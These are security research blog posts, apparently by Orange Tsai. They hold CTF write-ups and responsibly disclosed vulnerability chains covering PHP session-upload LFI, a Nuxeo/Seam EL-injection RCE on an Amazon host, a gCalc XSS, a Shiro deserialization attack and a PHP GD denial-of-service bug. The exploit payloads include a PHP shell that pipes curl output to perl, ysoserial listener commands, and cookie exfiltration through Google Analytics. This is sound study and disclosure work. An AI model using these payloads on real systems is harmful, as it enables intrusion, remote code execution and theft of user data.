2018年10月24日 星期三

HITCON CTF 2018 - One Line PHP Challenge

In every year’s HITCON CTF, I will prepare at least one PHP exploit challenge which the source code is very straightforward, short and easy to review but hard to exploit! I have put all my challenges in this GitHub repo you can check, and here are some lists :P

This year, I designed another one and it's the shortest one among all my challenges - One Line PHP Challenge!(There is also another PHP code review challenges called Baby Cake may be you will be interested!) It's only 3 teams(among all 1816 teams)solve that during the competition. This challenge demonstrates how PHP can be squeezed. The initial idea is from @chtg57’s PHP bug report. Since session.upload_progress is default enabled in PHP so that you can control partial content in PHP SESSION files! Start from this feature, I designed this challenge!

The challenge is simple, just one line and tell you it is running under default installation of Ubuntu 18.04 + PHP7.2 + Apache. Here is whole the source code:


With the upload progress feature, although you can control the partial content in SESSION file, there are still several parts you need to defeat!

Inclusion Tragedy

In modern PHP configuration, the allow_url_include is always Off so the RFI(Remote file inclusion) is impossible, and due to the harden of new version’s Apache and PHP, it can not also include the common path in LFI exploiting such as /proc/self/environs or /var/log/apache2/access.log.

There is also no place can leak the PHP upload temporary filename so the LFI WITH PHPINFO() ASSISTANCE is also impossible :(

Session Tragedy

The PHP check the value session.auto_start or function session_start() to know whether it need to process session on current request or not. Unfortunately, the default value of session.auto_start is Off. However, it’s interesting that if you provide the PHP_SESSION_UPLOAD_PROGRESS in multipart POST data. The PHP will enable the session for you :P

$ curl -H 'Cookie: PHPSESSID=iamorange'
$ ls -a /var/lib/php/sessions/
. ..
$ curl -H 'Cookie: PHPSESSID=iamorange' -d 'PHP_SESSION_UPLOAD_PROGRESS=blahblahblah'
$ ls -a /var/lib/php/sessions/
. ..
$ curl -H 'Cookie: PHPSESSID=iamorange' -F 'PHP_SESSION_UPLOAD_PROGRESS=blahblahblah'  -F 'file=@/etc/passwd'
$ ls -a /var/lib/php/sessions/
. .. sess_iamorange

Cleanup Tragedy

Although most tutorials on the Internet recommends you to set session.upload_progress.cleanup to Off for debugging purpose. The default session.upload_progress.cleanup in PHP is still On. It means your upload progress in the session will be cleaned as soon as possible!

Here we use race condition to catch our data!
(Another idea is uploading a large file to keep the progress)

Prefix Tragedy

OK, now we can control some data in remote server, but the last tragedy is the prefix. Due to the default setting of session.upload_progress.prefix, our SESSION file will start with a annoying prefix upload_progress_! Such as:


In order to match the @<?php. Here we combine multiple PHP stream filter to bypass that annoying prefix. Such as:


In PHP, the base64 will ignore invalid characters. So we combine multiple convert.base64-decode filter to that, for the payload VVVSM0wyTkhhSGRKUjBKcVpGaEtjMGxIT1hsWlZ6VnVXbE0xTUdSNU9UTk1Na3BxVEc1Q2MyWklRbXhqYlhkblRGZEJOMUI2TkhaTWVUaDJUSGs0ZGt4NU9IWk1lVGgy. The SESSION file looks like:


P.s. We add ZZ as padding to fit the previous garbage

After the the first convert.base64-decode the payload will look like:


The second times, PHP will decode the hikYUU... as:

�) QDw/cGhwIGBjdXJsIG9yYW5nZS50dy93L2JjLnBsfHBlcmwgLWA7Pz4vLy8vLy8vLy8vLy8v

The third convert.base64-decode, it becomes to our shell payload:

@<?php `curl orange.tw/w/bc.pl|perl -`;?>/////////////

OK, by chaining above techniques(session upload progress + race condition + PHP wrappers), we can get the shell back!
Here is the final exploit!

2018年8月11日 星期六

How I Chained 4 Bugs(Features?) into RCE on Amazon Collaboration System

Hi! This is the case study in my Black Hat USA 2018 and DEFCON 26 talk, you can also check slides here:

In past two years, I started to pay more attention on the “inconsistency” bug. What's that? It’s just like my SSRF talk in Black Hat and GitHub SSRF to RCE case last year, finding inconsistency between the URL parser and the URL fetcher that leads to whole SSRF bypass!

There is also another very cool article Bypassing Web-Application Firewalls by abusing SSL/TLS to illustrate how “inconsistency” be awesome by @0x09AL

So this year, I started focus on the “inconsistency” which lies in the path parser and path normalization!
It’s hard to write a well-designed parser. Different entity has its own standard and implementation. In order to fix a bug without impacting business logic, it’s common to apply a work-around or a filter instead of patching the bug directly. Therefore, if there is any inconsistency between the filter and the called method, the security mechanism can be easily bypassed!

While I was reading advisories, I noticed a feature called URL Path Parameter. Some researchers have already pointed out this feature may lead to security issues, but it still depends on the programming failure! With a little bit mind-mapping, I found this feature could be perfectly applied on multi-layered architectures, and this is vulnerable by default without any coding failure. If you are using reverse proxy with Java as your back-end service, you are under threat!

Back to 2015, it was the first time I found this attack surface was during in a red teaming. After that, I realized this was really cool and I’m curious about how many people know that. So I made a challenge for WCTF 2016.
(I have checked scanners in DirBuster, wFuzz, DirB and DirSearch. Until now, only DirSearch joined the pattern on 1 May, 2017)

WCTF is a competition held by Belluminar and 360. It’s not similar to general Jeopardy or Attack & Defense in other CTF competitions. It invites top 10 teams from all over the world, and every team needs to design two challenges, so there are 20 challenges! The more challenges you solved, the more points you got. However, no one solved my challenge during the competition. Therefore, I think this trick may not be well-known!

This year, I decide to share this technique. In order to convince review boards this is awesome, I need more cases to prove it works! So I started hunting bugs! It turns out that, this attack surface can not only leak information but also bypass ACL(Such as my Uber OneLogin bypass case) and lead to RCE in several bug bounty programs. This post is one of them!
(if you are interested in other stories, please check the slide ASAP!!!)

↓ The inconsistency in multi-layered architectures!


First, thanks Amazon for the open-minded vulnerability disclosure. It’s a really good experience working with Amazon security team(so does Nuxeo team). From the Timeline, you can see how quick Amazon’s response was and the step they have taken!

The whole story started with a domain collaborate-corp.amazon.com. It seems to be a collaboration system for internal purpose. From the copyright in the bottom, we know this system was built from an open source project Nuxeo. It’s a very huge Java project, and I was just wanting to improve my Java auditing skill. So the story begins from that…!


For me, when I get a Java source, the first thing is to read the pom.xml and find if there are any outdated packages. In Java ecosystem, most vulnerabilities are due to the OWASP Top 10 - A9. known vulnerable components.
Is there any Struts2, FastJSON, XStream or components with deserialization bugs before? If yes. Congratz!

In Nuxeo, it seems most of packages are up to date. But I find a old friend - Seam Framework. Seam is a web application framework developed by JBoss, and a division of Red Hat. It HAD BEEN a popular web framework several years ago, but there are still lots of applications based on Seam :P

I have reviewed Seam in 2016 and found numerous hacker-friendly features! (Sorry, it’s only in Chinese) However, it looks like we can not direct access the Seam part. But still remark on this, and keep on going!

1. Path normalization bug leads to ACL bypass

While looking at the access control from WEB-INF/web.xml, we find Nuxeo uses a custom authentication filter NuxeoAuthenticationFilter and maps /* to that . From the filter we know most pages require authentication, but there is a whitelist allowed few entrance such as login.jsp. All of that is implemented in a method bypassAuth.

protected boolean bypassAuth(HttpServletRequest httpRequest) {
    // init unAuthenticatedURLPrefix

    try {
        String requestPage = getRequestedPage(httpRequest);
        for (String prefix : unAuthenticatedURLPrefix) {
            if (requestPage.startsWith(prefix)) {
                return true;
    } finally {

    // ...

    return false;

As you can see, bypassAuth retrieves the current requested page to compare with unAuthenticatedURLPrefix. But how bypassAuth retrieves current requested page? Nuxeo writes a method to extract requested page from HttpServletRequest.RequestURI, and the first problem appears here!

protected static String getRequestedPage(HttpServletRequest httpRequest) {
    String requestURI = httpRequest.getRequestURI();
    String context = httpRequest.getContextPath() + '/';
    String requestedPage = requestURI.substring(context.length());
    int i = requestedPage.indexOf(';');
    return i == -1 ? requestedPage : requestedPage.substring(0, i);

In order to handle URL path parameter, Nuxeo truncates all the trailing parts by semicolon. But the behaviors in URL path parameter are various. Each web server has it’s own implementation. The Nuxeo’s way may be safe in containers like WildFly, JBoss and WebLogic. But it runs under Tomcat! So the difference between the method getRequestedPage and the Servlet Container leads to security problems!

Due to the truncation, we can forge a request that matches the whitelist in ACL but reach the unauthorized area in Servlet!
In here, we choose login.jsp as our prefix! The ACL bypass may look like this:

$ curl -I https://collaborate-corp.amazon.com/nuxeo/[unauthorized_area]
HTTP/1.1 302 Found
Location: login.jsp

$ curl -I https://collaborate-corp.amazon.com/nuxeo/login.jsp;/..;/[unauthorized_area]
HTTP/1.1 500 Internal Server Error

As you can see, we bypass the redirection for authentication, but most pages still return a 500 error. It’s because the servlet logic is unable to obtain a valid user principle so it throws a Java NullPointerException. Even though, this still gives us a chance to knock the door!

P.s. Although there is a quicker way to open the door, it’s still worth to write down the first try!

2. Code reuse feature leads to partial EL invocation

As I mentioned before, there are numerous hacker-friendly features in Seam framework. So, for me, the next step is chaining the first bug to access unauthorized Seam servlet!

In the following sections, I will explain these “features” one by one in detail!

In order to control where browser should be redirected, Seam introduces a series of HTTP parameter, and it is also buggy in these HTTP parameters… actionOutcome is one of them. In 2013, @meder found a remote code execution on that. You can read the awesome article CVE-2010-1871: JBoss Seam Framework remote code execution for details! But today, we are going to talk about another one - actionMethod!

actionMethod is a special parameter that can invoke specific JBoss EL(Expression Language) from query string. It seems dangerous but there are some preconditions before the invocation. The detailed implementation can found in method callAction. In order to invoke the EL, it must satisfy the following preconditions:

  1. The value of actionMethod must be a pair which looks like FILENAME:EL_CODE
  2. The FILENAME part must be a real file under context-root
  3. The file FILENAME must have the content "#{EL_CODE}" in it (double quotes and are required)

For example:
There is a file named login.xhtml under context-root.

<div class="entry">
    <div class="label">
        <h:outputLabel id="UsernameLabel" for="username">Username:</h:outputLabel>
    <div class="input">
        <s:decorate id="usernameDecorate">
            <h:inputText id="username" value="#{user.username}" required="true"></h:inputText>

You can invoke the EL user.username by URL


3. Double evaluation leads to EL injection

The previous feature looks eligible. You can not control any file under context-root so that you can’t invoke arbitrary EL on remote server. However, here is one more crazy feature…

To make things worse, if the previous one returns a string, and the string looks like an EL. Seam framework will invoke again!


Here is the detailed call stack:

  1. callAction(Pages.java)
  2. handleOutcome(Pages.java)
  3. handleNavigation(SeamNavigationHandler.java)
  4. interpolateAndRedirect(FacesManager.java)
  5. interpolate(Interpolator.java)
  6. interpolateExpressions(Interpolator.java)
  7. createValueExpression(Expressions.java)

With this crazy feature. We can execute arbitrary EL if we can control the returned value!
This is very similar to ROP(Return-Oriented Programming) in binary exploitation. So we need to find a good gadget!

In this case, we choose the gadget under widgets/suggest_add_new_directory_entry_iframe.xhtml

  <nxu:set var="directoryNameForPopup"
  <nxu:set var="directoryNameForPopup"
    value="#{nxu:test(empty directoryNameForPopup, select2DirectoryActions.directoryName, directoryNameForPopup)}"
  <c:if test="#{not empty directoryNameForPopup}">

Why we choose this? It’s because that request.getParameter returns a string that we can control from query string! Although the whole tag is to assign a variable, we can abuse the semantics!

So now, we put our second stage payload in the directoryNameForPopup. With the first bug, we can chain them together to execute arbitrary EL without any authentication! Here is the PoC:


Is that over yet? No really! Although we can execute arbitrary EL, we still failed to pop out a shell. Why?
Let’s go to next section!

4. EL blacklist bypass leads to RCE

Seam also knows that EL is insane. Since Seam 2.2.2.Final, there is a new EL blacklist to block dangerous invocations! Unfortunately, Nuxeo uses the latest version of Seam(2.3.1.Final) so that we must find a way to bypass the blacklist. The blacklist can be found in resources/org/jboss/seam/blacklist.properties.


With a little bit studying, we found the blacklist is just a simple string matching, and we all know that blacklist is always a bad idea. The first time I saw this, I recalled the bypass of Struts2 S2-020. The idea of that bypass and this one is the same. Using array-like operators to avoid blacklist patterns! Just change:




Is it simple? Yes! That’s all.

So the last thing is to write the shellcode in JBoss EL. We use Java reflection API to get the java.lang.Runtime Object, and list all methods from that. The index 7 is the method getRuntime() to return a Runtime instance and the index 15 is the method exec(String) to execute our command!

OK! Let’s summarize our steps and chain all together!

  1. Path normalization bug leads to ACL bypass
  2. Bypass whitelist to access unauthorized Seam servlet
  3. Use Seam feature actionMethod to invoke gadgets in file suggest_add_new_directory_entry_iframe.xhtml
  4. Prepare second stage payload in HTTP parameter directoryNameForPopup
  5. Use array-like operators to bypass the EL blacklist
  6. Write the shellcode with Java reflection API
  7. Wait for our shell back and win like a boss ._./

Here is the whole exploit:


OK, by executing the Perl script, we got the shell!


The fix

I will illustrate the fix from 3 aspects!

1. JBoss

As the most buggy thing is on Seam framework. I have reported these “features” to security@jboss.org in Sept 2016. But their reply is:

Thanks very much for reporting these issues to us.

Seam was only included in EAP 5, not 6, or 7. EAP is near the end of maintenance support, which will end in Nov 2016, [1]. The upstream version you used to test was released over 3 years ago.
During maintenance support EAP 5 only receives patches for important or critical issues. While you highlight that RCE is possible, only on the precondition that the attack can first upload a file. This seems to reduce the impact to moderate.

I think we will not bother to fix these security issues at this stage of the Seam project lifecycle.

[1] https://access.redhat.com/support/policy/updates/jboss_notes/

We do appreciate your efforts in reporting these issues to us, and hope that you will continue to inform us of security issues in the future.

So due to the EOL, there seems to be no official patch for these crazy features. However, lots of Seam applications are still running in the world. So if you use Seam. I recommend you to mitigate this with Nuxeo’s fix.

2. Amazon

With a rapid investigation, Amazon security team isolated the server, discussed with the reporter about how to mitigate, and listed every step they have taken in detail! It’s a good experience working with them :)

3. Nuxeo

After the notification from Amazon, Nuxeo quickly released a patch in version 8.10. The patch overrides the method callAction() to fix the crazy feature! If you need the patch for your Seam application. You can refer the patch here!


  • 10 March, 2018 01:13 GMT+8 Report to Amazon security team via aws-security@amazon.com
  • 10 March, 2018 01:38 GMT+8 Receive that they are under investigating
  • 10 March, 2018 03:12 GMT+8 Ask that can I join the conference call with security team
  • 10 March, 2018 05:30 GMT+8 Conference call with Amazon, get the status and the step they have taken for the vulnerability
  • 10 March, 2018 16:05 GMT+8 Ask if it’s possible public disclosure on my Black Hat talk
  • 15 March, 2018 04:58 GMT+8 Nuxeo released a new version 8.10 that patched the RCE vulnerability
  • 15 March, 2018 23:00 GMT+8 Conference call with Amazon, know the status and discuss public disclosure details
  • 05 April, 2018 05:40 GMT+8 Reward the award from Amazon

2018年6月27日 星期三

Google CTF 2018 Quals Web Challenge - gCalc

gCalc is the web challenge in Google CTF 2018 quals and only 15 teams solved during 2 days’ competition!

This challenge is a very interesting challenge that give me lots of fun. I love the challenge that challenged your exploit skill instead of giving you lots of code to find a simple vulnerability or guessing without any hint. So that I want to write a writeup to note this :P

The challenge gave you a link https://gcalc2.web.ctfcompetition.com/. It just a calculator written in JavaScript and seems like a XSS challenge. There is a try it hyperlink in the bottom and pass your formula expression to admin!

At first glance I found there are 2 parameter we can control from query string - expr and vars. It looks like:


You can define some variables in the context and use them in formula expression. But the variable only allowed Number type, and the Object type that created from null, that means there is no other methods and properties in the created Object. The prettified JavaScript code you can find out from my gist!

As you can see, the real vulnerability is very straightforward. Argument a is expr in query string and argument b is vars. The expr just do some sanitizers and pass to new Function(). The new Function() is like eval in JavaScript!

function p(a, b) {
    a = String(a).toLowerCase();
    b = String(b);
    if (!/^(?:[\(\)\*\/\+%\-0-9 ]|\bvars\b|[.]\w+)*$/.test(a)) throw Error(a);
    b = JSON.parse(b, function(a, b) {
        if (b && "object" === typeof b && !Array.isArray(b)) return Object.assign(Object.create(null), b);
        if ("number" === typeof b) return b
    return (new Function("vars", "return " + a))(b)

The sanitizer of expr looks like flexible. We use regex101 to analyse the regular expression. The regular expression allowed some operands and operators in expression, and the variable name must starts-with vars. The first thought in my head is that we can use constructor.constructor(CODE)() to execute arbitrary JavaScript. Then the remaining part is how to create the CODE payload.

Quickly, I wrote the first version of exploit like:

// https://regex101.com/r/FLdJ7h/1
// alert(1) // Remove whitespaces by yourself

I debug for an hour and got stuck by this exploit. I am curious about why this works in my console but fails to XSS. Finally, I find the root cause that there is a toLowerCase in the first line, so our toString and fromCharCode will fail… orz

function p(a, b) {
    a = String(a).toLowerCase();
    b = String(b);

After knowing this, I quickly wrote next version of exploit, retrieving the payload from key of vars map! In my payload, I use /1/.exec(1).keys(1).constructor to get the Obejct constructor and keys(vars).pop() to retrieve the last key in the vars map!

Here is the payload:

// https://regex101.com/r/IMXgwR/1

Hi, we got the alert(1)

Does it finished? Not yet :(
Our goal is to steal cookies from admin, and we encountered CSP problem!

CSP of /

Content-Security-Policy: default-src 'self'; child-src https://sandbox-gcalc2.web.ctfcompetition.com/

CSP of /static/calc.html

Content-Security-Policy: default-src 'self'; frame-ancestors https://gcalc2.web.ctfcompetition.com/; font-src https://fonts.gstatic.com; style-src 'self' https://*.googleapis.com 'unsafe-inline'; script-src 'self' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.google-analytics.com https://*.googleapis.com 'unsafe-eval' https://www.googletagmanager.com; child-src https://www.google.com/recaptcha/; img-src https://www.google-analytics.com;

We can’t use redirection or load external resources to exfiltrate cookies. But I have noticed that img-src https://www.google-analytics.com in the CSP header and remembered long time ago, I read a HackerOne report that using Google Analytics for data exfiltration! You can embed your data in the parameter ea of Google Analytics to outside, and we can see results from Google Analytics console!

Here is the final exploit

&vars={"pi":3.14159,"ans":0, "x=document.createElement('img');x.src='https://www.google-analytics.com/collect

Oh yeah. The flag is CTF{1+1=alert}!

2018年3月26日 星期一

Pwn a CTF Platform with Java JRMP Gadget

打 CTF 打膩覺得沒啥新鮮感嗎,來試試打掉整個 CTF 計分板吧!
前幾個月,剛好看到某個大型 CTF 比賽開放註冊,但不允許台灣參加有點難過 :(
看著官網最下面發現是 FlappyPig 所主辦,又附上 GitHub 原始碼 ç§‰æŒè‘—ç·´ç¿’ Java code review 的精神就 git clone 下來找洞了!
(以下測試皆在 FlappyPig 的允許下友情測試,漏洞回報官方後也經過同意發文)
在有原始碼的狀況下進行 Java 的 code review 第一件事當然是去了解第三方 Libraries 的相依性,關於 Java 的生態系我也在幾年前的文章小小分享過,當有個底層函式庫出現問題時是整個上層的應用皆受影響!
從 pom.xml è§€å¯Ÿç™¼ç¾ç”¨äº†
  1. Spring Framework 4.2.4
    • 從版本來看似乎很棒沒什麼重大問題
  2. Mybatis 3.3.1
    • 一個 Java ORM
    • 似乎也沒看到用法有問題
  3. Jackson 2.7.1
    • 出過反序列化漏洞
    • 不過 enableDefaultTyping æ²’啟用,也無直接收取 JSON 輸入無法觸發漏洞
  4. Apache Shiro 1.2.4

既然有現成的洞,當下即開始針對 Shiro 進行研究,首先遇到的第一個問題是照著文章內 PoC 的方式解密會發現失敗,看來是有自己修改過的怎麼辦QQ
不過翻著翻著原始碼在 src/main/resources/spring-shiro.xml çœ‹åˆ°


把 AES Key 更正後解回來的東西有 AC ED é–‹é ­çœ‹èµ·ä¾†æ˜¯åºåˆ—化過後的資料,真棒
$ python decrypt.py cGhyYWNrY3RmREUhfiMkZA== | xxd 
00000000: 9373 1385 4bb7 526f 7a97 f7c5 1e17 0da3  .s..K.Roz.......
00000010: aced 0005 7372 0032 6f72 672e 6170 6163  ....sr.2org.apac
00000020: 6865 2e73 6869 726f 2e73 7562 6a65 6374  he.shiro.subject
00000030: 2e53 696d 706c 6550 7269 6e63 6970 616c  .SimplePrincipal
00000040: 436f 6c6c 6563 7469 6f6e a87f 5825 c6a3  Collection..X%..

接著就是產 Gadget 丟到遠端伺服器拿 shell,但在這步怎麼也無法成功利用,有點殘念只好再繼續研究下去!
Apache Shiro 是一套實現身分驗證的 Library,而實現的方式可能有定義自己的 ClassLoader 因此導致現有的 Gadget 無法使用
(尚無查證,不過在拿到 shell 後看到這篇文章 Exploiting JVM deserialization vulns despite a broken class loader è­‰æ˜ŽçŒœæƒ³ä¹Ÿè¨±æ˜¯å°çš„,不過這篇也沒實現 RCE XD)
雖然無法跳至 Common Collection 但至少還有 JRE 本身的 Gadget 可以跳去做二次利用!
綜觀 ysoserial é™¤äº† JRE 本身的洞外可利用的 Gadget 所剩無幾,先來試試 URLDNS è‡³å°‘先確認漏洞存在再說!
$ java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://mydnsserver.orange.tw/ | python exp.py
發現 DNS 有回顯至少確認漏洞存在了,再繼續往下利用!
下一步我選的 Gadget 則是 JRMPClient,由於 JRMP 是位於 RMI 底下的一層實作,所以走的也是反序列化的協議,“純猜測” 也許在這裡使用 ClassLoader 就不會是 Apache Shiro 而是原本的 ClassLoader
但這裡又遇到一個問題是,如何實現一個 JRMP Server 去接送過來的 Protocol?
網路上並沒有人有提供 JRMPClient è¦å¦‚何使用的教學及利用方式!
本來想要手刻但找著找著資料找回 ysoserial 上的 JRMPListener.java,讀了一下原始碼才驚覺 ysoserial 真棒,各種模組化及利用都幫你寫好了!
ysoserial 分為大個部分,payload ä»¥åŠ exploit,平常都只有用到產 payload 的部分而已,但實際上作者有寫好幾份可直接利用的 exploit 並模組化,讓我們可以直接利用!
$ java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'curl orange.tw'
# listen 一個 RMI server 走 JRMP 協議在 12345 port 上

$ java -jar ysoserial-master-SNAPSHOT.jar JRMPClient ''  | python exp.py
# 使用 JRMPClient 去連接剛剛 listen 的 server
如此一來就可以獲得 shell 惹!

2018/03/27 01:23, Update
  1. 經過比較詳細的分析,一開始失敗的詳細原因真是如同文章 æ‰€èªª Shiro 自己實現了一個 Buggy 的 ClassLoader
  2. 所以 payload 當中出現 ChainedTransformer æˆ–是 InvokerTransformer éƒ½æœƒå‡ºç¾ Unable to deserialize argument byte array éŒ¯èª¤
  3. 而內建的 URLDNS åŠ JRMPClient å‰›å¥½æ²’用到上述方式實現 Gadget 所以可以使用!
  4. 所以理論上透過 RMI 或是 JDNI 的方式應該也可以成功!
2018/03/27 10:09, Update
  1. 留言中有人給出了更詳細的 root cause! - "Shiro resovleClass使用的是ClassLoader.loadClass()而非Class.forName(),而ClassLoader.loadClass不支持装载数组类型的class。"
  2. 感謝幫忙解惑 <(_ _)>

2018年1月21日 星期日

PHP CVE-2018-5711 - Hanging Websites by a Harmful GIF

Author: Orange Tsai(@orange_8361) from DEVCORE

Recently, I reviewed several Web frameworks and language implementations, and found some vulnerabilities.
This is an simple and interesting case, and seems easy to exploit in real world!


All PHP version
  • PHP 5 < 5.6.33
  • PHP 7.0 < 7.0.27
  • PHP 7.1 < 7.1.13
  • PHP 7.2 < 7.2.1

Vulnerability Details

The vulnerability is on the file ext/gd/libgd/gd_gif_in.c
There is a while-loop in LWZReadByte_

460    do {
461        sd->firstcode = sd->oldcode =
461        GetCode(fd, &sd->scd, sd->code_size, FALSE, ZeroDataBlockP);
463    } while (sd->firstcode == sd->clear_code);

Function GetCode is just a wrapper, and GetCode_ do the real stuff.

376    static int
377    GetCode_(gdIOCtx *fd, CODE_STATIC_DATA *scd, int code_size, int flag, int *ZeroDataBlockP)
378    {
379        int           i, j, ret;
380        unsigned char count;

399        if ((count = GetDataBlock(fd, &scd->buf[2], ZeroDataBlockP)) <= 0)
400            scd->done = TRUE;
405    }

GetCode_ call GetDataBlock to read data from GIF!

332    static int
333    GetDataBlock_(gdIOCtx *fd, unsigned char *buf, int *ZeroDataBlockP)
334    {
335     unsigned char   count;
336     if (! ReadOK(fd,&count,1)) {
338         return -1;
339     }
341     *ZeroDataBlockP = count == 0;
343     if ((count != 0) && (! ReadOK(fd, buf, count))) {
344         return -1;
345     }
347     return count;
348    }
OK, here are all vulnerable code, can you spot the vulnerability? :P

The bug relied on the type conversion from int to unsigned char. As you can see:
If GetDataBlock_ return -1, scd->done in line 400 will set to True, and stop the while-loop. But it will never be executed because the definition of count is unsigned char, it’s always be a positive from 0 to 255.

So the result is, one single GIF can make an infinite loop and exhausted the server resource.


$ curl -L https://git.io/vN0n4 | xxd -r > poc.gif
$ php -r 'imagecreatefromgif("poc.gif");'

  Infinite loop here...

It's easy to exploit in real world because lots of websites resize user-uploaded image by GD library...


I will disclose more 0-days in the future!